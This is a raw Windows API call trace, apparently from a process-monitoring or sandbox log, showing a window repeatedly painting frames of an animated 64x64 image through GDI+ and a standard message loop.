[0148.535] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0148.535] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0148.535] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.535] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.536] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.536] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0148.536] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.536] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.536] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.537] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0148.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0148.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0148.537] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0148.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.537] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0148.537] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0148.537] GetCurrentObject (hdc=0xffffffff810107cb, type=0x1) returned 0x1b00017 [0148.537] GetCurrentObject (hdc=0xffffffff810107cb, type=0x2) returned 0x1900010 [0148.537] GetCurrentObject (hdc=0xffffffff810107cb, type=0x7) returned 0x1a05067e [0148.538] GetCurrentObject (hdc=0xffffffff810107cb, type=0x6) returned 0x18a002e [0148.538] SaveDC (hdc=0xffffffff810107cb) returned 1 [0148.538] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffbb040b8a [0148.538] GetClipRgn (hdc=0xffffffff810107cb, hrgn=0xffffffffbb040b8a) returned 0 [0148.538] SelectClipRgn (hdc=0xffffffff810107cb, hrgn=0xffffffffeb0407c3) returned 2 [0148.538] DeleteObject (ho=0xffffffffbb040b8a) returned 1 [0148.538] DeleteObject (ho=0xffffffffeb0407c3) returned 1 [0148.538] OffsetViewportOrgEx (in: hdc=0xffffffff810107cb, x=0, y=0, lppt=0x26f0fa0 | out: lppt=0x26f0fa0) returned 1 [0148.538] GetNearestColor (hdc=0xffffffff810107cb, color=0xffffff) returned 0xffffff [0148.538] CreateSolidBrush (color=0xffffff) returned 0xffffffffc3100190 [0148.538] FillRect (hDC=0xffffffff810107cb, lprc=0x15d7c0, hbr=0xffffffffc3100190) returned 1 [0148.538] DeleteObject (ho=0xffffffffc3100190) returned 1 [0148.538] RestoreDC (hdc=0xffffffff810107cb, nSavedDC=-1) returned 1 [0148.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.539] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff810107cb) returned 0x0 [0148.539] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc600dbd) returned 0x0 [0148.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.539] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0148.539] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.539] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.539] GetSystemMetrics (nIndex=42) returned 0 [0148.539] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.539] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.539] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.539] CoTaskMemFree (pv=0x1e91eca0) [0148.539] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0148.542] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0148.542] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0148.542] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0148.542] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0148.542] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff810107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.542] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.542] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff810107cb) returned 0x0 [0148.542] SelectObject (hdc=0xffffffff810107cb, h=0x185000f) returned 0x1a05067e [0148.542] DeleteDC (hdc=0xffffffff810107cb) returned 1 [0148.543] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.543] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0148.543] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0148.543] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0148.543] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.543] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.543] WaitMessage () returned 1 [0148.719] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.719] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.719] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.719] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.719] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0148.719] GetCurrentThreadId () returned 0xec0 [0148.719] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0148.719] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.720] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.720] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.720] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.720] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.720] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0148.720] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0148.720] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff820107cb [0148.720] SelectObject (hdc=0xffffffff820107cb, h=0x1a05067e) returned 0x185000f [0148.720] GdipCreateFromHDC (hdc=0xffffffff820107cb, graphics=0x15daf0) returned 0x0 [0148.720] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0148.720] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0148.721] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0148.721] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0148.721] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0148.721] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.721] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0148.721] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.721] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.721] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0148.722] GdipCreateRegion (region=0x15dc20) returned 0x0 [0148.722] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0148.722] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0148.722] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0148.722] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.722] GetSystemMetrics (nIndex=42) returned 0 [0148.722] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.722] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.722] CoTaskMemFree (pv=0x1e91eca0) [0148.722] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0148.722] GdipCreateRegion (region=0x15d710) returned 0x0 [0148.722] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0148.722] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0148.723] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0148.723] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0148.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.723] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.723] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.723] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0148.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.723] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.724] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.724] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0148.724] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0148.724] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0148.724] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0148.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.724] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0148.724] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0148.724] GetCurrentObject (hdc=0xffffffff820107cb, type=0x1) returned 0x1b00017 [0148.724] GetCurrentObject (hdc=0xffffffff820107cb, type=0x2) returned 0x1900010 [0148.724] GetCurrentObject (hdc=0xffffffff820107cb, type=0x7) returned 0x1a05067e [0148.725] GetCurrentObject (hdc=0xffffffff820107cb, type=0x6) returned 0x18a002e [0148.725] SaveDC (hdc=0xffffffff820107cb) returned 1 [0148.725] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffec0407c3 [0148.725] GetClipRgn (hdc=0xffffffff820107cb, hrgn=0xffffffffec0407c3) returned 0 [0148.725] SelectClipRgn (hdc=0xffffffff820107cb, hrgn=0xffffffffbc040b8a) returned 2 [0148.725] DeleteObject (ho=0xffffffffec0407c3) returned 1 [0148.725] DeleteObject (ho=0xffffffffbc040b8a) returned 1 [0148.725] OffsetViewportOrgEx (in: hdc=0xffffffff820107cb, x=0, y=0, lppt=0x26f2298 | out: lppt=0x26f2298) returned 1 [0148.725] GetNearestColor (hdc=0xffffffff820107cb, color=0xffffff) returned 0xffffff [0148.725] CreateSolidBrush (color=0xffffff) returned 0xffffffffc4100190 [0148.725] FillRect (hDC=0xffffffff820107cb, lprc=0x15d7c0, hbr=0xffffffffc4100190) returned 1 [0148.725] DeleteObject (ho=0xffffffffc4100190) returned 1 [0148.725] RestoreDC (hdc=0xffffffff820107cb, nSavedDC=-1) returned 1 [0148.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.726] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff820107cb) returned 0x0 [0148.726] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc5e0dbd) returned 0x0 [0148.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.726] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0148.726] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.726] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.726] GetSystemMetrics (nIndex=42) returned 0 [0148.726] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.726] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.726] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.726] CoTaskMemFree (pv=0x1e91eca0) [0148.726] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0148.726] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0148.726] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0148.727] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0148.727] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff820107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.727] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.727] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff820107cb) returned 0x0 [0148.727] SelectObject (hdc=0xffffffff820107cb, h=0x185000f) returned 0x1a05067e [0148.727] DeleteDC (hdc=0xffffffff820107cb) returned 1 [0148.727] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.727] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0148.727] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0148.727] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0148.727] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.727] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.727] WaitMessage () returned 1 [0148.890] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.890] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.890] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.890] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.890] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.891] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0148.891] GetCurrentThreadId () returned 0xec0 [0148.891] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0148.891] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0148.891] IsWindowUnicode (hWnd=0x2031e) returned 1 [0148.891] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0148.891] TranslateMessage (lpMsg=0x15e910) returned 0 [0148.891] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0148.891] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0148.891] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0148.891] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff830107cb [0148.891] SelectObject (hdc=0xffffffff830107cb, h=0x1a05067e) returned 0x185000f [0148.891] GdipCreateFromHDC (hdc=0xffffffff830107cb, graphics=0x15daf0) returned 0x0 [0148.892] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0148.892] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0148.892] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0148.892] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0148.892] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0148.892] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.892] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0148.892] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.893] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.893] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0148.893] GdipCreateRegion (region=0x15dc20) returned 0x0 [0148.893] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0148.893] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0148.893] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0148.893] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.893] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.893] GetSystemMetrics (nIndex=42) returned 0 [0148.893] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.893] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.893] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.893] CoTaskMemFree (pv=0x1e91eca0) [0148.893] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0148.893] GdipCreateRegion (region=0x15d710) returned 0x0 [0148.894] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0148.894] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0148.894] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0148.894] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0148.894] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.894] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.894] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.894] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0148.895] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0148.895] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0148.895] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0148.895] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.895] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0148.895] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0148.895] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0148.895] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0148.895] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.896] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0148.896] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0148.896] GetCurrentObject (hdc=0xffffffff830107cb, type=0x1) returned 0x1b00017 [0148.896] GetCurrentObject (hdc=0xffffffff830107cb, type=0x2) returned 0x1900010 [0148.896] GetCurrentObject (hdc=0xffffffff830107cb, type=0x7) returned 0x1a05067e [0148.896] GetCurrentObject (hdc=0xffffffff830107cb, type=0x6) returned 0x18a002e [0148.896] SaveDC (hdc=0xffffffff830107cb) returned 1 [0148.896] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffbd040b8a [0148.896] GetClipRgn (hdc=0xffffffff830107cb, hrgn=0xffffffffbd040b8a) returned 0 [0148.896] SelectClipRgn (hdc=0xffffffff830107cb, hrgn=0xffffffffed0407c3) returned 2 [0148.896] DeleteObject (ho=0xffffffffbd040b8a) returned 1 [0148.896] DeleteObject (ho=0xffffffffed0407c3) returned 1 [0148.897] OffsetViewportOrgEx (in: hdc=0xffffffff830107cb, x=0, y=0, lppt=0x26f2bd0 | out: lppt=0x26f2bd0) returned 1 [0148.897] GetNearestColor (hdc=0xffffffff830107cb, color=0xffffff) returned 0xffffff [0148.897] CreateSolidBrush (color=0xffffff) returned 0xffffffffc5100190 [0148.897] FillRect (hDC=0xffffffff830107cb, lprc=0x15d7c0, hbr=0xffffffffc5100190) returned 1 [0148.897] DeleteObject (ho=0xffffffffc5100190) returned 1 [0148.897] RestoreDC (hdc=0xffffffff830107cb, nSavedDC=-1) returned 1 [0148.897] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.897] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff830107cb) returned 0x0 [0148.897] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc5c0dbd) returned 0x0 [0148.897] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.897] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0148.897] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0148.897] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0148.897] GetSystemMetrics (nIndex=42) returned 0 [0148.898] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0148.898] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0148.898] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0148.898] CoTaskMemFree (pv=0x1e91eca0) [0148.898] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0148.900] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0148.900] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0148.900] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0148.900] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0148.900] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff830107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.900] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.901] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff830107cb) returned 0x0 [0148.901] SelectObject (hdc=0xffffffff830107cb, h=0x185000f) returned 0x1a05067e [0148.901] DeleteDC (hdc=0xffffffff830107cb) returned 1 [0148.901] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0148.901] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0148.901] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0148.901] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0148.901] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.901] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0148.901] WaitMessage () returned 1 [0149.062] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.062] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.062] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.062] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.062] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.062] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.062] GetCurrentThreadId () returned 0xec0 [0149.062] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.062] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.063] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.063] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.063] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.063] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.063] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.063] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.063] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff840107cb [0149.063] SelectObject (hdc=0xffffffff840107cb, h=0x1a05067e) returned 0x185000f [0149.063] GdipCreateFromHDC (hdc=0xffffffff840107cb, graphics=0x15daf0) returned 0x0 [0149.063] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.063] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.063] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.064] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.064] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.064] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.064] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0149.064] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.064] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.065] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.065] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.065] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0149.065] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.065] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.065] GetWindowTextLengthW (hWnd=0x2031e) 